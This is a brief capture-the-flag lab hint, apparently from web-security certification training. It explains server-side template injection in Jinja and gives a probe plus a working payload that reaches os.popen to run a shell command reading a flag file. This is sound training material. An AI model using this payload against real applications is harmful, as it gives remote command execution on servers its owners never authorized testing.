Input is concatenated into a Jinja template and evaluated. Probe with {{7*7}}, then escalate to RCE and read the flag file at /flags/ssti.txt, e.g. {{ config.__class__.__init__.__globals__['os'].popen('cat /flags/ssti.txt').read() }}.
CWAP Prep Labs · HackXpert Coaching · The XSS Rat · authorized lab use only